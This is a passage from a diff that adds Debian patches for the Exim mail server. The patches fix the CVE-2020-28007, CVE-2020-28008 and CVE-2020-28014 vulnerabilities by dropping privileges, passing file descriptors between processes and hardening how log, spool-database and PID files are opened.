lwr_receive_ungetc; ++bdat_pop_receive_functions(); + + if (chunking_state != CHUNKING_LAST) + { +@@ -787,6 +785,45 @@ if (chunking_state != CHUNKING_LAST) + } + + ++static inline void ++bdat_push_receive_functions(void) ++{ ++/* push the current receive_* function on the "stack", and ++replace them by bdat_getc(), which in turn will use the lwr_receive_* ++functions to do the dirty work. */ ++if (lwr_receive_getc == NULL) ++ { ++ lwr_receive_getc = receive_getc; ++ lwr_receive_getbuf = receive_getbuf; ++ lwr_receive_ungetc = receive_ungetc; ++ } ++else ++ { ++ DEBUG(D_receive) debug_printf("chunking double-push receive functions\n"); ++ } ++ ++receive_getc = bdat_getc; ++receive_getbuf = bdat_getbuf; ++receive_ungetc = bdat_ungetc; ++} ++ ++static inline void ++bdat_pop_receive_functions(void) ++{ ++if (lwr_receive_getc == NULL) ++ { ++ DEBUG(D_receive) debug_printf("chunking double-pop receive functions\n"); ++ return; ++ } ++ ++receive_getc = lwr_receive_getc; ++receive_getbuf = lwr_receive_getbuf; ++receive_ungetc = lwr_receive_ungetc; ++ ++lwr_receive_getc = NULL; ++lwr_receive_getbuf = NULL; ++lwr_receive_ungetc = NULL; ++} + + + /************************************************* +-- +2.30.2 + diff --git a/debian/patches/84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch b/debian/patches/84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch new file mode 100644 index 0000000..211abe3 --- /dev/null +++ b/debian/patches/84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch @@ -0,0 +1,542 @@ +From 99ae249e9857e80ff4d65b2388bc68c624dcb739 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Tue, 23 Feb 2021 08:33:03 -0800 +Subject: [PATCH 23/29] CVE-2020-28007: Link attack in Exim's log directory + +We patch this vulnerability by opening (instead of just creating) the +log file in an unprivileged (exim) child process, and by passing this +file descriptor back to the privileged (root) parent process. The two +functions log_send_fd() and log_recv_fd() are inspired by OpenSSH's +functions mm_send_fd() and mm_receive_fd(); thanks! + +This patch also fixes: + +- a NULL-pointer dereference in usr1_handler() (this signal handler is + installed before process_log_path is initialized); + +- a file-descriptor leak in dmarc_write_history_file() (two return paths + did not close history_file_fd). + +Note: the use of log_open_as_exim() in dmarc_write_history_file() should +be fine because the documentation explicitly states "Make sure the +directory of this file is writable by the user exim runs as." + +(cherry picked from commit 2502cc41d1d92c1413eca6a4ba035c21162662bd) +(cherry picked from commit 93e9a18fbf09deb59bd133986f4c89aeb2d2d86a) +--- + src/dmarc.c | 179 ++++++++++++++++++------------------ + src/exim.c | 14 +-- + src/functions.h | 3 +- + src/log.c | 214 ++++++++++++++++++++++++++++---------------- + test/stderr/0397 | 6 +- + 5 files changed, 234 insertions(+), 182 deletions(-) + +diff --git a/src/dmarc.c b/src/dmarc.c +index f29f7eba6..c5e01c7ee 100644 +--- a/src/dmarc.c ++++ b/src/dmarc.c +@@ -204,6 +204,97 @@ if ( dmarc_policy == DMARC_POLICY_REJECT && action == DMARC_RESULT_REJECT + } + } + ++ ++static int ++dmarc_write_history_file() ++{ ++int tmp_ans; ++u_char **rua; /* aggregate report addressees */ ++uschar *history_buffer = NULL; ++ ++if (!dmarc_history_file) ++ { ++ DEBUG(D_receive) debug_printf("DMARC history file not set\n"); ++ return DMARC_HIST_DISABLED; ++ } ++ ++/* Generate the contents of the history file */ ++history_buffer = string_sprintf( ++ "job %s\nreporter %s\nreceived %ld\nipaddr %s\nfrom %s\nmfrom %s\n", ++ message_id, primary_hostname, time(NULL), sender_host_address, ++ header_from_sender, expand_string(US"$sender_address_domain")); ++ ++if (spf_response) ++ history_buffer = string_sprintf("%sspf %d\n", history_buffer, dmarc_spf_ares_result); ++ /* history_buffer = string_sprintf("%sspf -1\n", history_buffer); */ ++ ++history_buffer = string_sprintf( ++ "%s%spdomain %s\npolicy %d\n", ++ history_buffer, dkim_history_buffer, dmarc_used_domain, dmarc_policy); ++ ++if ((rua = opendmarc_policy_fetch_rua(dmarc_pctx, NULL, 0, 1))) ++ for (tmp_ans = 0; rua[tmp_ans]; tmp_ans++) ++ history_buffer = string_sprintf("%srua %s\n", history_buffer, rua[tmp_ans]); ++else ++ history_buffer = string_sprintf("%srua -\n", history_buffer); ++ ++opendmarc_policy_fetch_pct(dmarc_pctx, &tmp_ans); ++history_buffer = string_sprintf("%spct %d\n", history_buffer, tmp_ans); ++ ++opendmarc_policy_fetch_adkim(dmarc_pctx, &tmp_ans); ++history_buffer = string_sprintf("%sadkim %d\n", history_buffer, tmp_ans); ++ ++opendmarc_policy_fetch_aspf(dmarc_pctx, &tmp_ans); ++history_buffer = string_sprintf("%saspf %d\n", history_buffer, tmp_ans); ++ ++opendmarc_policy_fetch_p(dmarc_pctx, &tmp_ans); ++history_buffer = string_sprintf("%sp %d\n", history_buffer, tmp_ans); ++ ++opendmarc_policy_fetch_sp(dmarc_pctx, &tmp_ans); ++history_buffer = string_sprintf("%ssp %d\n", history_buffer, tmp_ans); ++ ++history_buffer = string_sprintf( ++ "%salign_dkim %d\nalign_spf %d\naction %d\n", ++ history_buffer, da, sa, action); ++ ++/* Write the contents to the history file */ ++DEBUG(D_receive) ++ debug_printf("DMARC logging history data for opendmarc reporting%s\n", ++ (host_checking || f.running_in_test_harness) ? " (not really)" : ""); ++if (host_checking || f.running_in_test_harness) ++ { ++ DEBUG(D_receive) ++ debug_printf("DMARC history data for debugging:\n%s", history_buffer); ++ } ++else ++ { ++ ssize_t written_len; ++ const int history_file_fd = log_open_as_exim(dmarc_history_file); ++ ++ if (history_file_fd < 0) ++ { ++ log_write(0, LOG_MAIN|LOG_PANIC, "failure to create DMARC history file: %s", ++ dmarc_history_file); ++ return DMARC_HIST_FILE_ERR; ++ } ++ ++ written_len = write_to_fd_buf(history_file_fd, ++ history_buffer, ++ Ustrlen(history_buffer)); ++ ++ (void)close(history_file_fd); ++ ++ if (written_len <= 0) ++ { ++ log_write(0, LOG_MAIN|LOG_PANIC, "failure to write to DMARC history file: %s", ++ dmarc_history_file); ++ return DMARC_HIST_WRITE_ERR; ++ } ++ } ++return DMARC_HIST_OK; ++} ++ ++ + /* dmarc_process adds the envelope sender address to the existing + context (if any), retrieves the result, sets up expansion + strings and evaluates the condition outcome. */ +@@ -486,94 +577,6 @@ if (!f.dmarc_disable_verify) + return OK; + } + +-static int +-dmarc_write_history_file() +-{ +-int history_file_fd; +-ssize_t written_len; +-int tmp_ans; +-u_char **rua; /* aggregate report addressees */ +-uschar *history_buffer = NULL; +- +-if (!dmarc_history_file) +- { +- DEBUG(D_receive) debug_printf("DMARC history file not set\n"); +- return DMARC_HIST_DISABLED; +- } +-history_file_fd = log_create(dmarc_history_file); +- +-if (history_file_fd < 0) +- { +- log_write(0, LOG_MAIN|LOG_PANIC, "failure to create DMARC history file: %s", +- dmarc_history_file); +- return DMARC_HIST_FILE_ERR; +- } +- +-/* Generate the contents of the history file */ +-history_buffer = string_sprintf( +- "job %s\nreporter %s\nreceived %ld\nipaddr %s\nfrom %s\nmfrom %s\n", +- message_id, primary_hostname, time(NULL), sender_host_address, +- header_from_sender, expand_string(US"$sender_address_domain")); +- +-if (spf_response) +- history_buffer = string_sprintf("%sspf %d\n", history_buffer, dmarc_spf_ares_result); +- /* history_buffer = string_sprintf("%sspf -1\n", history_buffer); */ +- +-history_buffer = string_sprintf( +- "%s%spdomain %s\npolicy %d\n", +- history_buffer, dkim_history_buffer, dmarc_used_domain, dmarc_policy); +- +-if ((rua = opendmarc_policy_fetch_rua(dmarc_pctx, NULL, 0, 1))) +- for (tmp_ans = 0; rua[tmp_ans]; tmp_ans++) +- history_buffer = string_sprintf("%srua %s\n", history_buffer, rua[tmp_ans]); +-else +- history_buffer = string_sprintf("%srua -\n", history_buffer); +- +-opendmarc_policy_fetch_pct(dmarc_pctx, &tmp_ans); +-history_buffer = string_sprintf("%spct %d\n", history_buffer, tmp_ans); +- +-opendmarc_policy_fetch_adkim(dmarc_pctx, &tmp_ans); +-history_buffer = string_sprintf("%sadkim %d\n", history_buffer, tmp_ans); +- +-opendmarc_policy_fetch_aspf(dmarc_pctx, &tmp_ans); +-history_buffer = string_sprintf("%saspf %d\n", history_buffer, tmp_ans); +- +-opendmarc_policy_fetch_p(dmarc_pctx, &tmp_ans); +-history_buffer = string_sprintf("%sp %d\n", history_buffer, tmp_ans); +- +-opendmarc_policy_fetch_sp(dmarc_pctx, &tmp_ans); +-history_buffer = string_sprintf("%ssp %d\n", history_buffer, tmp_ans); +- +-history_buffer = string_sprintf( +- "%salign_dkim %d\nalign_spf %d\naction %d\n", +- history_buffer, da, sa, action); +- +-/* Write the contents to the history file */ +-DEBUG(D_receive) +- debug_printf("DMARC logging history data for opendmarc reporting%s\n", +- (host_checking || f.running_in_test_harness) ? " (not really)" : ""); +-if (host_checking || f.running_in_test_harness) +- { +- DEBUG(D_receive) +- debug_printf("DMARC history data for debugging:\n%s", history_buffer); +- } +-else +- { +- written_len = write_to_fd_buf(history_file_fd, +- history_buffer, +- Ustrlen(history_buffer)); +- if (written_len == 0) +- { +- log_write(0, LOG_MAIN|LOG_PANIC, "failure to write to DMARC history file: %s", +- dmarc_history_file); +- return DMARC_HIST_WRITE_ERR; +- } +- (void)close(history_file_fd); +- } +-return DMARC_HIST_OK; +-} +- +- + uschar * + dmarc_exim_expand_query(int what) + { +diff --git a/src/exim.c b/src/exim.c +index a7dc48c4e..f0a168983 100644 +--- a/src/exim.c ++++ b/src/exim.c +@@ -227,18 +227,8 @@ int fd; + + os_restarting_signal(sig, usr1_handler); + +-if ((fd = Uopen(process_log_path, O_APPEND|O_WRONLY, LOG_MODE)) < 0) +- { +- /* If we are already running as the Exim user, try to create it in the +- current process (assuming spool_directory exists). Otherwise, if we are +- root, do the creation in an exim:exim subprocess. */ +- +- int euid = geteuid(); +- if (euid == exim_uid) +- fd = Uopen(process_log_path, O_CREAT|O_APPEND|O_WRONLY, LOG_MODE); +- else if (euid == root_uid) +- fd = log_create_as_exim(process_log_path); +- } ++if (!process_log_path) return; ++fd = log_open_as_exim(process_log_path); + + /* If we are neither exim nor root, or if we failed to create the log file, + give up. There is not much useful we can do with errors, since we don't want +diff --git a/src/functions.h b/src/functions.h +index cab7a7363..366cb2f26 100644 +--- a/src/functions.h ++++ b/src/functions.h +@@ -281,8 +281,7 @@ extern int ip_streamsocket(const uschar *, uschar **, int); + extern int ipv6_nmtoa(int *, uschar *); + + extern uschar *local_part_quote(uschar *); +-extern int log_create(uschar *); +-extern int log_create_as_exim(uschar *); ++extern int log_open_as_exim(uschar *); + extern void log_close_all(void); + + extern macro_item * macro_create(const uschar *, const uschar *, BOOL); +diff --git a/src/log.c b/src/log.c +index c8313890e..15c88c13e 100644 +--- a/src/log.c ++++ b/src/log.c +@@ -264,14 +264,19 @@ overwrite it temporarily if it is necessary to create the directory. + Returns: a file descriptor, or < 0 on failure (errno set) + */ + +-int +-log_create(uschar *name) ++static int ++log_open_already_exim(uschar * const name) + { +-int fd = Uopen(name, +-#ifdef O_CLOEXEC +- O_CLOEXEC | +-#endif +- O_CREAT|O_APPEND|O_WRONLY, LOG_MODE); ++int fd = -1; ++const int flags = O_WRONLY | O_APPEND | O_CREAT | O_NONBLOCK; ++ ++if (geteuid() != exim_uid) ++ { ++ errno = EACCES; ++ return -1; ++ } ++ ++fd = Uopen(name, flags, LOG_MODE); + + /* If creation failed, attempt to build a log directory in case that is the + problem. */ +@@ -285,11 +290,7 @@ if (fd < 0 && errno == ENOENT) + DEBUG(D_any) debug_printf("%s log directory %s\n", + created ? "created" : "failed to create", name); + *lastslash = '/'; +- if (created) fd = Uopen(name, +-#ifdef O_CLOEXEC +- O_CLOEXEC | +-#endif +- O_CREAT|O_APPEND|O_WRONLY, LOG_MODE); ++ if (created) fd = Uopen(name, flags, LOG_MODE); + } + + return fd; +@@ -297,6 +298,81 @@ return fd; + + + ++/* Inspired by OpenSSH's mm_send_fd(). Thanks! */ ++ ++static int ++log_send_fd(const int sock, const int fd) ++{ ++struct msghdr msg; ++union { ++ struct cmsghdr hdr; ++ char buf[CMSG_SPACE(sizeof(int))]; ++} cmsgbuf; ++struct cmsghdr *cmsg; ++struct iovec vec; ++char ch = 'A'; ++ssize_t n; ++ ++memset(&msg, 0, sizeof(msg)); ++memset(&cmsgbuf, 0, sizeof(cmsgbuf)); ++msg.msg_control = &cmsgbuf.buf; ++msg.msg_controllen = sizeof(cmsgbuf.buf); ++ ++cmsg = CMSG_FIRSTHDR(&msg); ++cmsg->cmsg_len = CMSG_LEN(sizeof(int)); ++cmsg->cmsg_level = SOL_SOCKET; ++cmsg->cmsg_type = SCM_RIGHTS; ++*(int *)CMSG_DATA(cmsg) = fd; ++ ++vec.iov_base = &ch; ++vec.iov_len = 1; ++msg.msg_iov = &vec; ++msg.msg_iovlen = 1; ++ ++while ((n = sendmsg(sock, &msg, 0)) == -1 && errno == EINTR); ++if (n != 1) return -1; ++return 0; ++} ++ ++/* Inspired by OpenSSH's mm_receive_fd(). Thanks! */ ++ ++static int ++log_recv_fd(const int sock) ++{ ++struct msghdr msg; ++union { ++ struct cmsghdr hdr; ++ char buf[CMSG_SPACE(sizeof(int))]; ++} cmsgbuf; ++struct cmsghdr *cmsg; ++struct iovec vec; ++ssize_t n; ++char ch = '\0'; ++int fd = -1; ++ ++memset(&msg, 0, sizeof(msg)); ++vec.iov_base = &ch; ++vec.iov_len = 1; ++msg.msg_iov = &vec; ++msg.msg_iovlen = 1; ++ ++memset(&cmsgbuf, 0, sizeof(cmsgbuf)); ++msg.msg_control = &cmsgbuf.buf; ++msg.msg_controllen = sizeof(cmsgbuf.buf); ++ ++while ((n = recvmsg(sock, &msg, 0)) == -1 && errno == EINTR); ++if (n != 1 || ch != 'A') return -1; ++ ++cmsg = CMSG_FIRSTHDR(&msg); ++if (cmsg == NULL) return -1; ++if (cmsg->cmsg_type != SCM_RIGHTS) return -1; ++fd = *(const int *)CMSG_DATA(cmsg); ++if (fd < 0) return -1; ++return fd; ++} ++ ++ ++ + /************************************************* + * Create a log file as the exim user * + *************************************************/ +@@ -312,41 +388,60 @@ Returns: a file descriptor, or < 0 on failure (errno set) + */ + + int +-log_create_as_exim(uschar *name) ++log_open_as_exim(uschar * const name) + { +-pid_t pid = fork(); +-int status = 1; + int fd = -1; ++const uid_t euid = geteuid(); + +-/* In the subprocess, change uid/gid and do the creation. Return 0 from the +-subprocess on success. If we don't check for setuid failures, then the file +-can be created as root, so vulnerabilities which cause setuid to fail mean +-that the Exim user can use symlinks to cause a file to be opened/created as +-root. We always open for append, so can't nuke existing content but it would +-still be Rather Bad. */ +- +-if (pid == 0) ++if (euid == exim_uid) + { +- if (setgid(exim_gid) < 0) +- die(US"exim: setgid for log-file creation failed, aborting", +- US"Unexpected log failure, please try later"); +- if (setuid(exim_uid) < 0) +- die(US"exim: setuid for log-file creation failed, aborting", +- US"Unexpected log failure, please try later"); +- _exit((log_create(name) < 0)? 1 : 0); ++ fd = log_open_already_exim(name); + } ++else if (euid == root_uid) ++ { ++ int sock[2]; ++ if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock) == 0) ++ { ++ const pid_t pid = fork(); ++ if (pid == 0) ++ { ++ (void)close(sock[0]); ++ if (setgroups(1, &exim_gid) != 0) _exit(EXIT_FAILURE); ++ if (setgid(exim_gid) != 0) _exit(EXIT_FAILURE); ++ if (setuid(exim_uid) != 0) _exit(EXIT_FAILURE); ++ ++ if (getuid() != exim_uid || geteuid() != exim_uid) _exit(EXIT_FAILURE); ++ if (getgid() != exim_gid || getegid() != exim_gid) _exit(EXIT_FAILURE); ++ ++ fd = log_open_already_exim(name); ++ if (fd < 0) _exit(EXIT_FAILURE); ++ if (log_send_fd(sock[1], fd) != 0) _exit(EXIT_FAILURE); ++ (void)close(sock[1]); ++ _exit(EXIT_SUCCESS); ++ } + +-/* If we created a subprocess, wait for it. If it succeeded, try the open. */ +- +-while (pid > 0 && waitpid(pid, &status, 0) != pid); +-if (status == 0) fd = Uopen(name, +-#ifdef O_CLOEXEC +- O_CLOEXEC | +-#endif +- O_APPEND|O_WRONLY, LOG_MODE); ++ (void)close(sock[1]); ++ if (pid > 0) ++ { ++ fd = log_recv_fd(sock[0]); ++ while (waitpid(pid, NULL, 0) == -1 && errno == EINTR); ++ } ++ (void)close(sock[0]); ++ } ++ } + +-/* If we failed to create a subprocess, we are in a bad way. We return +-with fd still < 0, and errno set, letting the caller handle the error. */ ++if (fd >= 0) ++ { ++ int flags; ++ flags = fcntl(fd, F_GETFD); ++ if (flags != -1) (void)fcntl(fd, F_SETFD, flags | FD_CLOEXEC); ++ flags = fcntl(fd, F_GETFL); ++ if (flags != -1) (void)fcntl(fd, F_SETFL, flags & ~O_NONBLOCK); ++ } ++else ++ { ++ errno = EACCES; ++ } + + return fd; + } +@@ -459,52 +554,17 @@ if (!ok) + die(US"exim: log file path too long: aborting", + US"Logging failure; please try later"); + +-/* We now have the file name. Try to open an existing file. After a successful +-open, arrange for automatic closure on exec(), and then return. */ ++/* We now have the file name. After a successful open, return. */ + +-*fd = Uopen(buffer, +-#ifdef O_CLOEXEC +- O_CLOEXEC | +-#endif +- O_APPEND|O_WRONLY, LOG_MODE); ++*fd = log_open_as_exim(buffer); + + if (*fd >= 0) + { +-#ifndef O_CLOEXEC +- (void)fcntl(*fd, F_SETFD, fcntl(*fd, F_GETFD) | FD_CLOEXEC); +-#endif + return; + } + +-/* Open was not successful: try creating the file. If this is a root process, +-we must do the creating in a subprocess set to exim:exim in order to ensure +-that the file is created with the right ownership. Otherwise, there can be a +-race if another Exim process is trying to write to the log at the same time. +-The use of SIGUSR1 by the exiwhat utility can provoke a lot of simultaneous +-writing. */ +- + euid = geteuid(); + +-/* If we are already running as the Exim user (even if that user is root), +-we can go ahead and create in the current process. */ +- +-if (euid == exim_uid) *fd = log_create(buffer); +- +-/* Otherwise, if we are root, do the creation in an exim:exim subprocess. If we +-are neither exim nor root, creation is not attempted. */ +- +-else if (euid == root_uid) *fd = log_create_as_exim(buffer); +- +-/* If we now have an open file, set the close-on-exec flag and return. */ +- +-if (*fd >= 0) +- { +-#ifndef O_CLOEXEC +- (void)fcntl(*fd, F_SETFD, fcntl(*fd, F_GETFD) | FD_CLOEXEC); +-#endif +- return; +- } +- + /* Creation failed. There are some circumstances in which we get here when + the effective uid is not root or exim, which is the problem. (For example, a + non-setuid binary with log_arguments set, called in certain ways.) Rather than +-- +2.30.2 + diff --git a/debian/patches/84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch b/debian/patches/84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch new file mode 100644 index 0000000..2bda99c --- /dev/null +++ b/debian/patches/84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch @@ -0,0 +1,205 @@ +From 5fec3406547fd1e46838a76f000102beb6bfe468 Mon Sep 17 00:00:00 2001 +From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de> +Date: Sun, 14 Mar 2021 12:16:57 +0100 +Subject: [PATCH 24/29] CVE-2020-28008: Assorted attacks in Exim's spool + directory + +We patch dbfn_open() by introducing two functions priv_drop_temp() and +priv_restore() (inspired by OpenSSH's functions temporarily_use_uid() +and restore_uid()), which temporarily drop and restore root privileges +thanks to seteuid(). This goes against Exim's developers' wishes ("Exim +(the project) doesn't trust seteuid to work reliably") but, to the best +of our knowledge, seteuid() works everywhere and is the only way to +securely fix dbfn_open(). + +(cherry picked from commit 18da59151dbafa89be61c63580bdb295db36e374) +(cherry picked from commit b05dc3573f4cd476482374b0ac0393153d344338) +--- + doc/ChangeLog | 6 +++ + src/dbfn.c | 110 +++++++++++++++++++++++++----------------- + test/stderr/0275 | 2 +- + test/stderr/0278 | 2 +- + test/stderr/0386 | 2 +- + test/stderr/0388 | 2 +- + test/stderr/0402 | 2 +- + test/stderr/0403 | 2 +- + test/stderr/0404 | 2 +- + test/stderr/0408 | 2 +- + test/stderr/0487 | 2 +- + 11 files changed, 80 insertions(+), 54 deletions(-) + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 5741fb212..b32347c5b 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -14,6 +14,12 @@ JH/42 Bug 2545: Fix CHUNKING for all RCPT commands rejected. Previously we + + Exim version 4.92.2 + ------------------- ++QS/02 PID file creation/deletion: only possible if uid=0 or uid is the Exim ++ runtime user. ++ ++QS/01 Creation of (database) files in $spool_dir: only uid=0 or the euid of ++ the Exim runtime user are allowed to create files. ++ + + HS/01 Handle trailing backslash gracefully. (CVE-2019-15846) + +diff --git a/src/dbfn.c b/src/dbfn.c +index 336cfe73e..902756508 100644 +--- a/src/dbfn.c ++++ b/src/dbfn.c +@@ -59,6 +59,66 @@ log_write(0, LOG_MAIN, "Berkeley DB error: %s", msg); + + + ++static enum { ++ PRIV_DROPPING, PRIV_DROPPED, ++ PRIV_RESTORING, PRIV_RESTORED ++} priv_state = PRIV_RESTORED; ++ ++static uid_t priv_euid; ++static gid_t priv_egid; ++static gid_t priv_groups[EXIM_GROUPLIST_SIZE + 1]; ++static int priv_ngroups; ++ ++/* Inspired by OpenSSH's temporarily_use_uid(). Thanks! */ ++ ++static void ++priv_drop_temp(const uid_t temp_uid, const gid_t temp_gid) ++{ ++if (priv_state != PRIV_RESTORED) _exit(EXIT_FAILURE); ++priv_state = PRIV_DROPPING; ++ ++priv_euid = geteuid(); ++if (priv_euid == root_uid) ++ { ++ priv_egid = getegid(); ++ priv_ngroups = getgroups(nelem(priv_groups), priv_groups); ++ if (priv_ngroups < 0) _exit(EXIT_FAILURE); ++ ++ if (priv_ngroups > 0 && setgroups(1, &temp_gid) != 0) _exit(EXIT_FAILURE); ++ if (setegid(temp_gid) != 0) _exit(EXIT_FAILURE); ++ if (seteuid(temp_uid) != 0) _exit(EXIT_FAILURE); ++ ++ if (geteuid() != temp_uid) _exit(EXIT_FAILURE); ++ if (getegid() != temp_gid) _exit(EXIT_FAILURE); ++ } ++ ++priv_state = PRIV_DROPPED; ++} ++ ++/* Inspired by OpenSSH's restore_uid(). Thanks! */ ++ ++static void ++priv_restore(void) ++{ ++if (priv_state != PRIV_DROPPED) _exit(EXIT_FAILURE); ++priv_state = PRIV_RESTORING; ++ ++if (priv_euid == root_uid) ++ { ++ if (seteuid(priv_euid) != 0) _exit(EXIT_FAILURE); ++ if (setegid(priv_egid) != 0) _exit(EXIT_FAILURE); ++ if (priv_ngroups > 0 && setgroups(priv_ngroups, priv_groups) != 0) _exit(EXIT_FAILURE); ++ ++ if (geteuid() != priv_euid) _exit(EXIT_FAILURE); ++ if (getegid() != priv_egid) _exit(EXIT_FAILURE); ++ } ++ ++priv_state = PRIV_RESTORED; ++} ++ ++ ++ ++ + /************************************************* + * Open and lock a database file * + *************************************************/ +@@ -89,7 +149,6 @@ dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof) + { + int rc, save_errno; + BOOL read_only = flags == O_RDONLY; +-BOOL created = FALSE; + flock_t lock_data; + uschar dirname[256], filename[256]; + +@@ -111,12 +170,13 @@ exists, there is no error. */ + snprintf(CS dirname, sizeof(dirname), "%s/db", spool_directory); + snprintf(CS filename, sizeof(filename), "%s/%s.lockfile", dirname, name); + ++priv_drop_temp(exim_uid, exim_gid); + if ((dbblock->lockfd = Uopen(filename, O_RDWR, EXIMDB_LOCKFILE_MODE)) < 0) + { +- created = TRUE; + (void)directory_make(spool_directory, US"db", EXIMDB_DIRECTORY_MODE, TRUE); + dbblock->lockfd = Uopen(filename, O_RDWR|O_CREAT, EXIMDB_LOCKFILE_MODE); + } ++priv_restore(); + + if (dbblock->lockfd < 0) + { +@@ -165,57 +225,17 @@ it easy to pin this down, there are now debug statements on either side of the + open call. */ + + snprintf(CS filename, sizeof(filename), "%s/%s", dirname, name); +-EXIM_DBOPEN(filename, dirname, flags, EXIMDB_MODE, &(dbblock->dbptr)); + ++priv_drop_temp(exim_uid, exim_gid); ++EXIM_DBOPEN(filename, dirname, flags, EXIMDB_MODE, &(dbblock->dbptr)); + if (!dbblock->dbptr && errno == ENOENT && flags == O_RDWR) + { + DEBUG(D_hints_lookup) + debug_printf_indent("%s appears not to exist: trying to create\n", filename); +- created = TRUE; + EXIM_DBOPEN(filename, dirname, flags|O_CREAT, EXIMDB_MODE, &(dbblock->dbptr)); + } +- + save_errno = errno; +- +-/* If we are running as root and this is the first access to the database, its +-files will be owned by root. We want them to be owned by exim. We detect this +-situation by noting above when we had to create the lock file or the database +-itself. Because the different dbm libraries use different extensions for their +-files, I don't know of any easier way of arranging this than scanning the +-directory for files with the appropriate base name. At least this deals with +-the lock file at the same time. Also, the directory will typically have only +-half a dozen files, so the scan will be quick. +- +-This code is placed here, before the test for successful opening, because there +-was a case when a file was created, but the DBM library still returned NULL +-because of some problem. It also sorts out the lock file if that was created +-but creation of the database file failed. */ +- +-if (created && geteuid() == root_uid) +- { +- DIR *dd; +- struct dirent *ent; +- uschar *lastname = Ustrrchr(filename, '/') + 1; +- int namelen = Ustrlen(name); +- +- *lastname = 0; +- dd = opendir(CS filename); +- +- while ((ent = readdir(dd))) +- if (Ustrncmp(ent->d_name, name, namelen) == 0) +- { +- struct stat statbuf; +- Ustrcpy(lastname, ent->d_name); +- if (Ustat(filename, &statbuf) >= 0 && statbuf.st_uid != exim_uid) +- { +- DEBUG(D_hints_lookup) debug_printf_indent("ensuring %s is owned by exim\n", filename); +- if (Uchown(filename, exim_uid, exim_gid)) +- DEBUG(D_hints_lookup) debug_printf_indent("failed setting %s to owned by exim\n", filename); +- } +- } +- +- closedir(dd); +- } ++priv_restore(); + + /* If the open has failed, return NULL, leaving errno set. If lof is TRUE, + log the event - also for debugging - but debug only if the file just doesn't +-- +2.30.2 + diff --git a/debian/patches/84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch b/debian/patches/84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch new file mode 100644 index 0000000..3e73ae1 --- /dev/null +++ b/debian/patches/84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch @@ -0,0 +1,303 @@ +From c166890023f56388cb3482cff3def04171a488c4 Mon Sep 17 00:00:00 2001 +From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de> +Date: Thu, 25 Mar 2021 22:48:09 +0100 +Subject: [PATCH 26/29] CVE-2020-28014, CVE-2021-27216: Arbitrary PID file + creation, clobbering, and deletion + +Arbitrary PID file creation, clobbering, and deletion. +Patch provided by Qualys. + +(cherry picked from commit 974f32939a922512b27d9f0a8a1cb5dec60e7d37) +(cherry picked from commit 43c6f0b83200b7082353c50187ef75de3704580a) +--- + doc/ChangeLog | 5 + + src/daemon.c | 212 ++++++++++++++++++++++++++++++++++++++---- + src/exim.c | 12 ++- + test/stderr/0433 | 24 +++++ + 4 files changed, 232 insertions(+), 21 deletions(-) + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -10,13 +10,18 @@ QS/02 PID file creation/deletion: only p + runtime user. + + QS/01 Creation of (database) files in $spool_dir: only uid=0 or the euid of + the Exim runtime user are allowed to create files. + ++QS/01 Creation of (database) files in $spool_dir: only uid=0 or the uid of ++ the Exim runtime user are allowed to create files. + + HS/01 Handle trailing backslash gracefully. (CVE-2019-15846) + ++QS/02 PID file creation/deletion: only possible if uid=0 or uid is the Exim ++ runtime user. ++ + + Since version 4.92 + ------------------ + + JH/06 Fix buggy handling of autoreply bounce_return_size_limit, and a possible +--- a/src/daemon.c ++++ b/src/daemon.c +@@ -886,10 +886,198 @@ while ((pid = waitpid(-1, &status, WNOHA + } + } + } + + ++static void ++set_pid_file_path(void) ++{ ++if (override_pid_file_path) ++ pid_file_path = override_pid_file_path; ++ ++if (!*pid_file_path) ++ pid_file_path = string_sprintf("%s/exim-daemon.pid", spool_directory); ++ ++if (pid_file_path[0] != '/') ++ log_write(0, LOG_PANIC_DIE, "pid file path %s must be absolute\n", pid_file_path); ++} ++ ++ ++enum pid_op { PID_WRITE, PID_CHECK, PID_DELETE }; ++ ++/* Do various pid file operations as safe as possible. Ideally we'd just ++drop the privileges for creation of the pid file and not care at all about removal of ++the file. FIXME. ++Returns: true on success, false + errno==EACCES otherwise ++*/ ++static BOOL ++operate_on_pid_file(const enum pid_op operation, const pid_t pid) ++{ ++char pid_line[sizeof(int) * 3 + 2]; ++const int pid_len = snprintf(pid_line, sizeof(pid_line), "%d\n", (int)pid); ++BOOL lines_match = FALSE; ++ ++char * path = NULL; ++char * base = NULL; ++char * dir = NULL; ++ ++const int dir_flags = O_RDONLY | O_NONBLOCK; ++const int base_flags = O_NOFOLLOW | O_NONBLOCK; ++const mode_t base_mode = 0644; ++struct stat sb; ++ ++int cwd_fd = -1; ++int dir_fd = -1; ++int base_fd = -1; ++ ++BOOL success = FALSE; ++errno = EACCES; ++ ++set_pid_file_path(); ++if (!f.running_in_test_harness && real_uid != root_uid && real_uid != exim_uid) goto cleanup; ++if (pid_len < 2 || pid_len >= (int)sizeof(pid_line)) goto cleanup; ++ ++path = CS string_copy(pid_file_path); ++if ((base = Ustrrchr(path, '/')) == NULL) /* should not happen, but who knows */ ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "pid file path \"%s\" does not contain a '/'", pid_file_path); ++ ++dir = (base != path) ? path : "/"; ++*base++ = '\0'; ++ ++if (!dir || !*dir || *dir != '/') goto cleanup; ++if (!base || !*base || strchr(base, '/') != NULL) goto cleanup; ++ ++cwd_fd = open(".", dir_flags); ++if (cwd_fd < 0 || fstat(cwd_fd, &sb) != 0 || !S_ISDIR(sb.st_mode)) goto cleanup; ++dir_fd = 